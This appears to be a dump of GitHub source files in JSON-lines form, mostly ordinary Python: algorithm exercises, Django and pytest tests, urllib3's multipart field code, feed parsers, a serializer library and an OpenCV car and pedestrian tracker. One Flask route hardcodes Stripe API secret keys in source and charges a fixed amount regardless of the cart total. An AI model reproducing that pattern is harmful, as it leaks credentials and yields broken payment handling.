sfdc.sfdc_client.inner_client.Account.delete(account_id)\n\n logging.info('Done.')\n\n\ndef create_payload_list(soql):\n payload_list = []\n records = sfdc.sfdc_client.query(soql)\n\n for r in records:\n p = { 'Id': r['Id'] }\n payload_list.append(p)\n\n return payload_list\n\n\n","repo_name":"KevinJMcGrath/OPRD_Utility","sub_path":"sfdc/breakdown.py","file_name":"breakdown.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8635546927","text":"class Solution():\n def astroidCollision(self, list1):\n stk = []\n for each in list1:\n while stk and each < 0 < stk[-1]:\n if -each > stk[-1]:\n stk.pop()\n continue\n elif -each == stk[-1]:\n stk.pop()\n break\n else:\n stk.append(each)\n return stk\n\n\nS = Solution()\nprint(S.astroidCollision([-5, -10, 5]))\n","repo_name":"saumyasinha023/PythonProgramming","sub_path":"Practice/Miscellaneous/AstroidCollision.py","file_name":"AstroidCollision.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38896736963","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom store.models import Article\n\n# Create your tests here.\nclass ArticleModelTests(TestCase):\n\n def test_str_return_name(self):\n name = \"Tshirt\"\n article = Article(name=name)\n self.assertEqual(str(article), name)\n\n\nclass ArticleIndexViewTests(TestCase):\n\n def test_no_articles(self):\n response = self.client.get(reverse(\"store:index\"))\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"Pas d'article disponible.\")\n\n def test_create_article(self):\n article = Article.objects.create(name=\"Baskets\")\n response = self.client.get(reverse(\"store:index\"))\n self.assertQuerySetEqual(response.context[\"article_list\"], [article])","repo_name":"setra022/Boutique","sub_path":"store/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7673091833","text":"import pytest\n\nfrom mysql.builder import MySQLBuilder\nfrom mysql.models import Total, TotalType, TopURL, TopSizeCli, TopServ\n\nfrom scripts.scripts import *\n\nclass MySQLBase:\n\n @pytest.fixture(scope='function', autouse=True)\n def setup(self, mysql_client, config):\n self.mysql = mysql_client\n self.mysql_builder = MySQLBuilder(mysql_client)\n self.config = config\n\n\nclass TestMySQL(MySQLBase):\n\n def test_script_1(self):\n data = total_requests(self.config['log_root'])\n self.mysql_builder.create_total('TOTAL COUNT', data['TOTAL COUNT'])\n\n res = self.mysql.session.query(Total).all()\n\n assert len(data) == len(res)\n \n def test_script_2(self):\n data = total_requests_type(self.config['log_root'])\n for d in data:\n self.mysql_builder.create_total_type(d['METHOD'], d['COUNT'])\n \n res = self.mysql.session.query(TotalType).all()\n\n assert len(data) == len(res) \n\n def test_script_3(self):\n data = top_requests_url(self.config['log_root'])\n for d in data:\n self.mysql_builder.create_top_url(d['URL'], d['COUNT'])\n \n res = self.mysql.session.query(TopURL).all()\n\n assert len(data) == len(res) \n\n def test_script_4(self):\n data = top_requests_size_cli(self.config['log_root'])\n for d in data:\n self.mysql_builder.create_top_size_cli(d['URL'], d['STATUS'], d['SIZE'], d['IP'])\n\n res = self.mysql.session.query(TopSizeCli).all()\n\n assert len(data) == len(res) \n \n def test_script_5(self):\n data = top_requests_serv(self.config['log_root'])\n for d in data:\n self.mysql_builder.create_top_serv(d['IP'], d['COUNT'])\n \n res = self.mysql.session.query(TopServ).all()\n\n assert len(data) == len(res) ","repo_name":"captainum/2021-1-MAILRU-SDET-Python-D-Vasilchenko","sub_path":"SDET-Python-homework-6/code/tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"390737284","text":"from __future__ import annotations\n\nimport email.utils\nimport mimetypes\nimport typing\n\n_TYPE_FIELD_VALUE = typing.Union[str, bytes]\n_TYPE_FIELD_VALUE_TUPLE = typing.Union[\n _TYPE_FIELD_VALUE,\n typing.Tuple[str, _TYPE_FIELD_VALUE],\n typing.Tuple[str, _TYPE_FIELD_VALUE, str],\n]\n\n\ndef guess_content_type(\n filename: str | None, default: str = \"application/octet-stream\"\n) -> str:\n \"\"\"\n Guess the \"Content-Type\" of a file.\n\n :param filename:\n The filename to guess the \"Content-Type\" of using :mod:`mimetypes`.\n :param default:\n If no \"Content-Type\" can be guessed, default to `default`.\n \"\"\"\n if filename:\n return mimetypes.guess_type(filename)[0] or default\n return default\n\n\ndef format_header_param_rfc2231(name: str, value: _TYPE_FIELD_VALUE) -> str:\n \"\"\"\n Helper function to format and quote a single header parameter using the\n strategy defined in RFC 2231.\n\n Particularly useful for header parameters which might contain\n non-ASCII values, like file names. This follows\n `RFC 2388 Section 4.4 `_.\n\n :param name:\n The name of the parameter, a string expected to be ASCII only.\n :param value:\n The value of the parameter, provided as ``bytes`` or `str``.\n :returns:\n An RFC-2231-formatted unicode string.\n\n .. deprecated:: 2.0.0\n Will be removed in urllib3 v2.1.0. This is not valid for\n ``multipart/form-data`` header parameters.\n \"\"\"\n import warnings\n\n warnings.warn(\n \"'format_header_param_rfc2231' is deprecated and will be \"\n \"removed in urllib3 v2.1.0. This is not valid for \"\n \"multipart/form-data header parameters.\",\n DeprecationWarning,\n stacklevel=2,\n )\n\n if isinstance(value, bytes):\n value = value.decode(\"utf-8\")\n\n if not any(ch in value for ch in '\"\\\\\\r\\n'):\n result = f'{name}=\"{value}\"'\n try:\n result.encode(\"ascii\")\n except (UnicodeEncodeError, UnicodeDecodeError):\n pass\n else:\n return result\n\n value = email.utils.encode_rfc2231(value, \"utf-8\")\n value = f\"{name}*={value}\"\n\n return value\n\n\ndef format_multipart_header_param(name: str, value: _TYPE_FIELD_VALUE) -> str:\n \"\"\"\n Format and quote a single multipart header parameter.\n\n This follows the `WHATWG HTML Standard`_ as of 2021/06/10, matching\n the behavior of current browser and curl versions. Values are\n assumed to be UTF-8. The ``\\\\n``, ``\\\\r``, and ``\"`` characters are\n percent encoded.\n\n .. _WHATWG HTML Standard:\n https://html.spec.whatwg.org/multipage/\n form-control-infrastructure.html#multipart-form-data\n\n :param name:\n The name of the parameter, an ASCII-only ``str``.\n :param value:\n The value of the parameter, a ``str`` or UTF-8 encoded\n ``bytes``.\n :returns:\n A string ``name=\"value\"`` with the escaped value.\n\n .. versionchanged:: 2.0.0\n Matches the WHATWG HTML Standard as of 2021/06/10. Control\n characters are no longer percent encoded.\n\n .. versionchanged:: 2.0.0\n Renamed from ``format_header_param_html5`` and\n ``format_header_param``. The old names will be removed in\n urllib3 v2.1.0.\n \"\"\"\n if isinstance(value, bytes):\n value = value.decode(\"utf-8\")\n\n # percent encode \\n \\r \"\n value = value.translate({10: \"%0A\", 13: \"%0D\", 34: \"%22\"})\n return f'{name}=\"{value}\"'\n\n\ndef format_header_param_html5(name: str, value: _TYPE_FIELD_VALUE) -> str:\n \"\"\"\n .. deprecated:: 2.0.0\n Renamed to :func:`format_multipart_header_param`. Will be\n removed in urllib3 v2.1.0.\n \"\"\"\n import warnings\n\n warnings.warn(\n \"'format_header_param_html5' has been renamed to \"\n \"'format_multipart_header_param'. The old name will be \"\n \"removed in urllib3 v2.1.0.\",\n DeprecationWarning,\n stacklevel=2,\n )\n return format_multipart_header_param(name, value)\n\n\ndef format_header_param(name: str, value: _TYPE_FIELD_VALUE) -> str:\n \"\"\"\n .. deprecated:: 2.0.0\n Renamed to :func:`format_multipart_header_param`. Will be\n removed in urllib3 v2.1.0.\n \"\"\"\n import warnings\n\n warnings.warn(\n \"'format_header_param' has been renamed to \"\n \"'format_multipart_header_param'. The old name will be \"\n \"removed in urllib3 v2.1.0.\",\n DeprecationWarning,\n stacklevel=2,\n )\n return format_multipart_header_param(name, value)\n\n\nclass RequestField:\n \"\"\"\n A data container for request body parameters.\n\n :param name:\n The name of this request field. Must be unicode.\n :param data:\n The data/value body.\n :param filename:\n An optional filename of the request field. Must be unicode.\n :param headers:\n An optional dict-like object of headers to initially use for the field.\n\n .. versionchanged:: 2.0.0\n The ``header_formatter`` parameter is deprecated and will\n be removed in urllib3 v2.1.0.\n \"\"\"\n\n def __init__(\n self,\n name: str,\n data: _TYPE_FIELD_VALUE,\n filename: str | None = None,\n headers: typing.Mapping[str, str] | None = None,\n header_formatter: typing.Callable[[str, _TYPE_FIELD_VALUE], str] | None = None,\n ):\n self._name = name\n self._filename = filename\n self.data = data\n self.headers: dict[str, str | None] = {}\n if headers:\n self.headers = dict(headers)\n\n if header_formatter is not None:\n import warnings\n\n warnings.warn(\n \"The 'header_formatter' parameter is deprecated and \"\n \"will be removed in urllib3 v2.1.0.\",\n DeprecationWarning,\n stacklevel=2,\n )\n self.header_formatter = header_formatter\n else:\n self.header_formatter = format_multipart_header_param\n\n @classmethod\n def from_tuples(\n cls,\n fieldname: str,\n value: _TYPE_FIELD_VALUE_TUPLE,\n header_formatter: typing.Callable[[str, _TYPE_FIELD_VALUE], str] | None = None,\n ) -> RequestField:\n \"\"\"\n A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters.\n\n Supports constructing :class:`~urllib3.fields.RequestField` from\n parameter of key/value strings AND key/filetuple. A filetuple is a\n (filename, data, MIME type) tuple where the MIME type is optional.\n For example::\n\n 'foo': 'bar',\n 'fakefile': ('foofile.txt', 'contents of foofile'),\n 'realfile': ('barfile.txt', open('realfile').read()),\n 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'),\n 'nonamefile': 'contents of nonamefile field',\n\n Field names and filenames must be unicode.\n \"\"\"\n filename: str | None\n content_type: str | None\n data: _TYPE_FIELD_VALUE\n\n if isinstance(value, tuple):\n if len(value) == 3:\n filename, data, content_type = typing.cast(\n typing.Tuple[str, _TYPE_FIELD_VALUE, str], value\n )\n else:\n filename, data = typing.cast(\n typing.Tuple[str, _TYPE_FIELD_VALUE], value\n )\n content_type = guess_content_type(filename)\n else:\n filename = None\n content_type = None\n data = value\n\n request_param = cls(\n fieldname, data, filename=filename, header_formatter=header_formatter\n )\n request_param.make_multipart(content_type=content_type)\n\n return request_param\n\n def _render_part(self, name: str, value: _TYPE_FIELD_VALUE) -> str:\n \"\"\"\n Override this method to change how each multipart header\n parameter is formatted. By default, this calls\n :func:`format_multipart_header_param`.\n\n :param name:\n The name of the parameter, an ASCII-only ``str``.\n :param value:\n The value of the parameter, a ``str`` or UTF-8 encoded\n ``bytes``.\n\n :meta public:\n \"\"\"\n return self.header_formatter(name, value)\n\n def _render_parts(\n self,\n header_parts: (\n dict[str, _TYPE_FIELD_VALUE | None]\n | typing.Sequence[tuple[str, _TYPE_FIELD_VALUE | None]]\n ),\n ) -> str:\n \"\"\"\n Helper function to format and quote a single header.\n\n Useful for single headers that are composed of multiple items. E.g.,\n 'Content-Disposition' fields.\n\n :param header_parts:\n A sequence of (k, v) tuples or a :class:`dict` of (k, v) to format\n as `k1=\"v1\"; k2=\"v2\"; ...`.\n \"\"\"\n iterable: typing.Iterable[tuple[str, _TYPE_FIELD_VALUE | None]]\n\n parts = []\n if isinstance(header_parts, dict):\n iterable = header_parts.items()\n else:\n iterable = header_parts\n\n for name, value in iterable:\n if value is not None:\n parts.append(self._render_part(name, value))\n\n return \"; \".join(parts)\n\n def render_headers(self) -> str:\n \"\"\"\n Renders the headers for this request field.\n \"\"\"\n lines = []\n\n sort_keys = [\"Content-Disposition\", \"Content-Type\", \"Content-Location\"]\n for sort_key in sort_keys:\n if self.headers.get(sort_key, False):\n lines.append(f\"{sort_key}: {self.headers[sort_key]}\")\n\n for header_name, header_value in self.headers.items():\n if header_name not in sort_keys:\n if header_value:\n lines.append(f\"{header_name}: {header_value}\")\n\n lines.append(\"\\r\\n\")\n return \"\\r\\n\".join(lines)\n\n def make_multipart(\n self,\n content_disposition: str | None = None,\n content_type: str | None = None,\n content_location: str | None = None,\n ) -> None:\n \"\"\"\n Makes this request field into a multipart request field.\n\n This method overrides \"Content-Disposition\", \"Content-Type\" and\n \"Content-Location\" headers to the request parameter.\n\n :param content_disposition:\n The 'Content-Disposition' of the request body. Defaults to 'form-data'\n :param content_type:\n The 'Content-Type' of the request body.\n :param content_location:\n The 'Content-Location' of the request body.\n\n \"\"\"\n content_disposition = (content_disposition or \"form-data\") + \"; \".join(\n [\n \"\",\n self._render_parts(\n ((\"name\", self._name), (\"filename\", self._filename))\n ),\n ]\n )\n\n self.headers[\"Content-Disposition\"] = content_disposition\n self.headers[\"Content-Type\"] = content_type\n self.headers[\"Content-Location\"] = content_location\n","repo_name":"urllib3/urllib3","sub_path":"src/urllib3/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":11026,"program_lang":"python","lang":"en","doc_type":"code","stars":3526,"dataset":"github-code","pt":"54"} +{"seq_id":"3954933606","text":"#sliding window trick for O(n), number of subarrays Array A, with sum upto(less or equal) then value val\ndef subarrays_sum_upto(A, val):\n count = j = s = 0\n for i, v in enumerate(A):\n s += v\n while s > val:\n s -= A[j]\n j += 1\n print(A[j:i + 1])\n count += i - j + 1 \n return count","repo_name":"ak-19/Essential-Algorithms","sub_path":"sums/number_of_subarray_smaller_then.py","file_name":"number_of_subarray_smaller_then.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9034786031","text":"__all__ = [\"OrderedDictSerializer\", \"RawDictSerializer\"]\n\nfrom collections import OrderedDict\nfrom typing import Generic, TypeVar\n\nfrom .._base import Serializer\nfrom .._result import DeserializationFailure, DeserializationResult, DeserializationSuccess\nfrom .._stable_set import StableSet\nfrom ._string import StringSerializer\n\nKey = TypeVar(\"Key\")\nValue = TypeVar(\"Value\")\n\n\nclass OrderedDictSerializer(Generic[Key, Value], Serializer[dict[Key, Value]]):\n \"\"\"Serializing a dictionary as a list of entries.\n\n The fields of a JSON object is inherently unordered. Also, the keys cannot\n be anything except strings. If retaining the order of a dictionary is\n desired or allowing a key other than a string is required, this serializer\n can be used. It is represented as a JSON list (which is ordered) or\n 2-element lists, where the first element is the key and the second element\n is the value.\n \"\"\"\n\n def __init__(self, key_serializer: Serializer[Key], value_serializer: Serializer[Value]):\n self.key_serializer = key_serializer\n self.value_serializer = value_serializer\n\n def from_data(self, data) -> DeserializationResult[dict[Key, Value]]:\n # Return early if the data isn't even a list\n if not isinstance(data, list):\n return DeserializationFailure(f\"Not a valid list: {data!r}\")\n\n # Validate keys first, so that errors in values can be better formatted\n errors = {}\n keys = []\n for i, item in enumerate(data):\n if not isinstance(item, (list, tuple)) or len(item) != 2:\n errors[str(i)] = f\"Not a valid length-2 list: {item!r}\"\n else:\n value_or_error = self.key_serializer.from_data(item[0])\n if isinstance(value_or_error, DeserializationFailure):\n errors[str(i)] = value_or_error.error\n else:\n keys.append(value_or_error.value)\n\n if len(errors) > 0:\n return DeserializationFailure(errors)\n\n # Validate values, including the key in errors to help identify the location of the failure\n errors = {}\n values = []\n for i, item in enumerate(data):\n value_or_error = self.value_serializer.from_data(item[1])\n if isinstance(value_or_error, DeserializationFailure):\n errors[str(keys[i])] = value_or_error.error\n else:\n values.append((keys[i], value_or_error.value))\n\n if len(errors) > 0:\n return DeserializationFailure(errors)\n else:\n return DeserializationSuccess(OrderedDict(values))\n\n def to_data(self, value: dict[Key, Value]):\n if not isinstance(value, dict):\n raise ValueError(f\"Not an dict: {value!r}\")\n\n return [\n [self.key_serializer.to_data(key), self.value_serializer.to_data(value)]\n for key, value in value.items()\n ]\n\n\nclass RawDictSerializer(Generic[Value], Serializer[dict[str, Value]]):\n \"\"\"Serializing a dictionary to a dictionary rather than a list of tuples.\n\n OpenAPI does not understand tuples and therefore cannot capture the\n definition of an ordered dictionary as given by `OrderedDictSerializer`.\n `RawDictSerializer` can be used to serialize dictionaries when the key is a\n string and order is unimportant and a type that is understood by OpenAPI is\n important.\n \"\"\"\n\n def __init__(\n self,\n value_serializer: Serializer[Value],\n *,\n key_serializer: Serializer[str] = StringSerializer(), # noqa: B008\n ):\n self.value_serializer = value_serializer\n self.key_serializer = key_serializer\n\n def from_data(self, data) -> DeserializationResult[dict[str, Value]]:\n # Return early if the data isn't even a dict\n if not isinstance(data, dict):\n return DeserializationFailure(f\"Not a valid dict: {data!r}\")\n\n # Validate keys and values\n # Include the key in errors to help identify the location of the failure\n errors = {}\n values = {}\n for key, value in data.items():\n key_or_error = self.key_serializer.from_data(key)\n if isinstance(key_or_error, DeserializationFailure):\n errors[key] = key_or_error.error\n continue\n else:\n output_key = key_or_error.value\n\n value_or_error = self.value_serializer.from_data(value)\n if isinstance(value_or_error, DeserializationFailure):\n # Use original keys for errors\n errors[key] = value_or_error.error\n else:\n # Use deserialized keys for values\n values[output_key] = value_or_error.value\n\n if len(errors) > 0:\n return DeserializationFailure(errors)\n else:\n return DeserializationSuccess(values)\n\n def to_data(self, value: dict[str, Value]):\n if not isinstance(value, dict):\n raise ValueError(f\"Not an dict: {value!r}\")\n\n return {\n self.key_serializer.to_data(key): self.value_serializer.to_data(value)\n for key, value in value.items()\n }\n\n def collect_openapi_models(\n self, parent_models: StableSet[Serializer]\n ) -> StableSet[Serializer]:\n return self.value_serializer.collect_openapi_models(parent_models)\n\n def to_openapi_schema(self, refs: dict[Serializer, str], force: bool = False):\n return {\n \"type\": \"object\",\n \"additionalProperties\": self.value_serializer.to_openapi_schema(refs),\n }\n","repo_name":"drhagen/serialite","sub_path":"src/serialite/_implementations/_dictionary.py","file_name":"_dictionary.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"74231140640","text":"import pytest\nfrom repositories.cabocha_repository import CabochaRepository\n\nclass TestCabochaRepository(object):\n\n @pytest.mark.parametrize(\"sentence, expected\", [\n (\"浅田真央は伊藤緑の衣装を着用して競技に臨んだこともあり、「みどりさんの衣装を着るといつも調子がいい」と語っていた\", True),\n ])\n def test_parse(self, sentence, expected):\n # cabocha = CabochaRepository()\n # result = cabocha.parse(sentence)\n # print(result)\n # # assert result == expected\n None\n\n","repo_name":"euonymus/wikipedia_graph","sub_path":"src/tests/test_cabocha_repository.py","file_name":"test_cabocha_repository.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15079250944","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport lxml.etree as et\nfrom parsel import Selector\n\nfrom . import utils\n\nclass BaseParser(object):\n\n def __init__(self):\n self.current_idx = 0\n self.size = 0\n\n def __len__(self):\n return self.size\n\n def __iter__(self):\n return self\n\n def __next__(self):\n return self.next()\n\n def next(self):\n if self.current_idx > self.size - 1:\n raise StopIteration()\n idx = self.current_idx\n self.current_idx += 1\n return self.parse(idx=idx)\n\n def parse(self):\n raise NotImplementedError\n\nclass DomParser(BaseParser):\n\n def __init__(self, data, url, url2,\n query_entry,\n query_title,\n query_id=None,\n query_link=None,\n query_content=None):\n BaseParser.__init__(self)\n\n self.query_entry = query_entry\n self.query_title = query_title\n self.query_id = query_id\n self.query_link = query_link\n self.query_content = query_content\n\n self.items = Selector(data).css(self.query_entry)\n self.size = len(self.items)\n self.url = url\n self.url2 = url2\n\n def parse(self, idx=0):\n\n title = utils.strip_tags(self.items[idx].css(self.query_title).extract_first())\n\n if self.query_id:\n entry_id = self.items[idx].css(self.query_id).xpath('@id').extract_first()\n else:\n entry_id = None\n\n if self.query_link:\n url = utils.merge_url(self.url, self.items[idx].css(self.query_link).xpath('@href').extract_first())\n else:\n url = self.url2 or self.url\n\n if self.query_content:\n content = utils.strip_tags(''.join(self.items[idx].css(self.query_content).extract()).strip())\n else:\n content = None\n\n if entry_id:\n url = ''.join([url, '#', entry_id])\n entry_hash = utils.make_hash(''.join([url]))\n else:\n entry_hash = utils.make_hash(''.join([url, title]))\n\n return {\n 'title': title,\n 'content': content,\n 'url': url,\n 'media_urls': [utils.merge_url(self.url, _) for _ in self.items[idx].css('img').xpath('@src').extract()],\n 'hash': entry_hash\n }\n\nclass XmlParser(BaseParser):\n\n def __init__(self, data,\n prefix='xmlns',\n namespaces='http://purl.org/rss/1.0/',\n query_entry='item',\n query_title='title/text()',\n query_link='link/text()',\n query_content='description/text()'):\n BaseParser.__init__(self)\n\n self.prefix = prefix\n self.namespaces = {prefix: namespaces}\n\n # RSS1.0またはRSS2.0の判定\n self.data = et.fromstring(data.encode('utf_8'))\n if self.data.tag == 'rss':\n self.query_entry = 'channel/%s' % (query_entry)\n self.query_title = query_title\n self.query_link = query_link\n self.query_content = query_content\n else:\n self.query_entry = '%s:%s' % (prefix, query_entry)\n self.query_title = '%s:%s' % (prefix, query_title)\n self.query_link = '%s:%s' % (prefix, query_link)\n self.query_content = '%s:%s' % (prefix, query_content)\n\n self.items = self.data.xpath(self.query_entry, namespaces=self.namespaces)\n self.size = len(self.items)\n\n def parse(self, idx=0):\n\n url = self.items[idx].xpath(self.query_link, namespaces=self.namespaces)[0]\n\n return {\n 'title': utils.strip_tags(self.items[idx].xpath(self.query_title, namespaces=self.namespaces)[0]),\n 'content': utils.strip_tags(self.items[idx].xpath(self.query_content, namespaces=self.namespaces)[0]),\n 'url': url,\n 'media_urls': [],\n 'hash': utils.make_hash(url)\n }\n\nclass AtomParser(BaseParser):\n\n def __init__(self, data,\n prefix='atom',\n namespaces='http://www.w3.org/2005/Atom',\n query_entry='entry',\n query_id='id/text()',\n query_title='title/text()',\n query_link='link/@href'):\n BaseParser.__init__(self)\n\n self.prefix = prefix\n self.namespaces = {prefix: namespaces}\n self.query_entry = '%s:%s' % (prefix, query_entry)\n self.query_id = '%s:%s' % (prefix, query_id)\n self.query_title = '%s:%s' % (prefix, query_title)\n self.query_link = '%s:%s' % (prefix, query_link)\n\n self.data = et.fromstring(data.encode('utf_8'))\n self.items = self.data.xpath(self.query_entry, namespaces=self.namespaces)\n self.size = len(self.items)\n\n def parse(self, idx=0):\n return {\n 'title': utils.strip_tags(self.items[idx].xpath(self.query_title, namespaces=self.namespaces)[0]),\n 'content': None,\n 'url': self.items[idx].xpath(self.query_link, namespaces=self.namespaces)[0],\n 'media_urls': [],\n 'hash': utils.make_hash(self.items[idx].xpath(self.query_id, namespaces=self.namespaces)[0])\n }\n","repo_name":"tsubasa/megumegu.py","sub_path":"megumegu/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44870341892","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('camping', '0003_auto_20150621_1152'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='camp',\n name='campers',\n field=models.ManyToManyField(to='camping.Camper', blank=True),\n ),\n ]\n","repo_name":"niktto/dontstarve_camp_status","sub_path":"camping/migrations/0004_auto_20150621_1300.py","file_name":"0004_auto_20150621_1300.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23667242786","text":"#!usr/bin/env python\n# -*- coding:utf-8 _*-\n\"\"\"\n@author:carlos\n@file: 翻转字符串里的单词.py\n@time: 2023/4/4 10:51\n\"\"\"\n\n'''\n输入:s = \"the sky is blue\"\n输出:\"blue is sky the\"\n输入:s = \"a good   example\"\n输出:\"example good a\"\n解释:如果两个单词间有多余的空格,反转后的字符串需要将单词间的空格减少到仅有一个。\n'''\n\nclass Solution:\n def reverseWords(self, s):\n\n # list=s.split(' ')\n # str=''\n # print(list.remove(''))\n # for i in range(len(list)-1,-1,-1):\n # if list[i]!='':\n # str+=list[i]+' '\n # return str.strip()\n list= (s.split(' ')[::-1])\n list.remove('')\n return ' '.join(list).strip()\n\n\n\n\n\ns = \"the sky is blue\"\n\nprint(Solution.reverseWords(1,s))","repo_name":"carlosw0713/Algorithm_exe","sub_path":"算法练习/字符串/翻转字符串里的单词.py","file_name":"翻转字符串里的单词.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"29572314710","text":"#cart info\nTotalPrice=dict()\n@app.route('/cart',methods=['POST'])\n\ndef cart():\n \n \n TotalPrice={\n 'totalPrice':request.json['totalPrice']\n }\n db.cartPrice.insert_one(TotalPrice)\n price=TotalPrice['totalPrice']\n# print(price)\n return \"ok\",200\n\n# payment gateway\n@app.route('/create-checkout-session/', methods=['POST'])\n\n\ndef create_checkout_session(totalPrice):\n # print(totalPrice)\n app.config['STRIPE_PUBLIC_KEY']='pk_test_51KrNyDEYl23s23aNkwOsrUaOMRChU9HJ6xvYclcgFTC94S8HgEbxof7wyqSwq1CiwE1c2plnxnwmAsgxWFWXIlwc00q8Gu6Zwt'\n app.config['STRIPE_SECRET_KEY']='sk_test_51KrNyDEYl23s23aN2Jk8BKn6GUttvsAyejKiseY1BQvFkykrg7eUUw4aCRqBtL48DTzmBRecuWUmx8c3hVrSkuNW00hm3iWY1H'\n stripe.api_key = app.config['STRIPE_SECRET_KEY']\n YOUR_DOMAIN = 'http://localhost:3000'\n\n \n # cursor=db.cartPrice.find_one({})\n # cursor=json.loads(json_util.dumps(cursor))\n # print(cursor[0].totatPrice)\n # print(price)\n # print(TotalPrice)\n\n try:\n \n \n \n checkout_session = stripe.checkout.Session.create(\n \n line_items=[\n {\n # Provide the exact Price ID (for example, pr_1234) of the product you want to sell\n # 'price': 'price_1LbqGaEYl23s23aNyz0dIjzE',\n # 'quantity': 1,\n \"name\": \"Total Price\",\n \"quantity\": 1,\n \"currency\": \"usd\",\n \"amount\": \"100000\",\n },\n ],\n mode='payment',\n success_url=YOUR_DOMAIN + '/success',\n cancel_url=YOUR_DOMAIN + '?canceled=true',\n )\n\n except Exception as e:\n return str(e)\n \n return redirect(checkout_session.url, code=303)","repo_name":"Ashikahamedpranto/FoodSwipe","sub_path":"controller/cartControl.py","file_name":"cartControl.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26611106218","text":"import logging\n\nfrom picire import AbstractDD, ConfigCache\n\nlogger = logging.getLogger(__name__)\n\n\nclass EmptyDD(AbstractDD):\n \"\"\"\n Special DD variant that *does* test the empty configuration (and nothing\n else).\n \"\"\"\n\n def __init__(self, test, *, cache=None):\n \"\"\"\n Initialize an EmptyDD object.\n\n :param test: A callable tester object.\n :param cache: Cache object to use.\n \"\"\"\n AbstractDD.__init__(self, test, None, cache=cache)\n\n def ddmin(self, config):\n \"\"\"\n Return a 1-minimal failing subset of the initial configuration, and also\n test the empty configuration while doing so.\n\n Note: The initial configuration is expected to be of size 1, thus the\n 1-minimal failing subset is always its trivial subset: either itself or\n the empty configuration.\n\n :param config: The initial configuration that will be reduced.\n :return: 1-minimal failing configuration.\n \"\"\"\n\n assert len(config) == 1\n\n logger.debug('dd(%r) ...', config)\n\n outcome = self._dd(config)\n\n logger.debug('dd(%r) = %r', config, outcome)\n\n return outcome\n\n def _dd(self, config):\n # assert self.test(config, 'assert') == self.FAIL\n\n emptyset = []\n config_id = 'empty'\n\n logger.info('Run: trying 0.')\n\n outcome = self.lookup_cache(emptyset, config_id) or self.test(emptyset, config_id)\n if outcome == self.FAIL:\n logger.info('Reduced to 0 units.')\n logger.debug('New config: %r.', emptyset)\n\n logger.info('Done.')\n return emptyset\n\n logger.info('Done.')\n return config\n","repo_name":"ufwt/picireny","sub_path":"picireny/empty_dd.py","file_name":"empty_dd.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"10166832125","text":"import cv2\n\n# read the image file\nvideo = cv2.VideoCapture ('Tesla Autopilot Dashcam.mp4')\n\n# pre-trained classifiers\ncar_classifier_file = 'car_detector.xml'\npadestrian_classifier_file = 'padestrians.xml'\n\n# create classifiers\ncar_tracker = cv2.CascadeClassifier(car_classifier_file)\npadestrian_tracker = cv2.CascadeClassifier(padestrian_classifier_file)\n\n\nwhile True:\n\n # read the current frame\n (read_successful, frame) = video.read()\n\n # safe coding.\n if read_successful:\n # changing color to greyscale\n greyscale_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n else:\n break\n # detect cars\n cars = car_tracker.detectMultiScale(frame)\n padestrians = padestrian_tracker.detectMultiScale(frame)\n\n # draw square around the cars\n for (x, y, w, h) in cars:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n # draw square around the padestrians\n for (x, y, w, h) in padestrians:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # this will display the image\n cv2.imshow('vendz car and padestrian tracking', frame)\n\n # it don't autoclose\n # it will wait until you press a key to close the window\n key = cv2.waitKey(1)\n\n # Stop is Q key is pressed\n if key == 81 or key == 113: # here 113 is for 'q' and 81 is for 'Q'\n break","repo_name":"vendz/car-padestrian-tracking","sub_path":"car_padestrian_tracking-video.py","file_name":"car_padestrian_tracking-video.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"42200213046","text":"import numpy as np\nimport tensorflow as tf\nimport prettytensor as pt\nimport string\nimport random\n\nimport gym\nfrom time import sleep\nimport json\n\nfrom actor_critic import ActorCritic\nfrom min_spread_holder import MinSpreadHolder\n\"\"\"\nWhat Next: I need to do a few things. First, I need to write a way to\nget the mean and stddev of all the 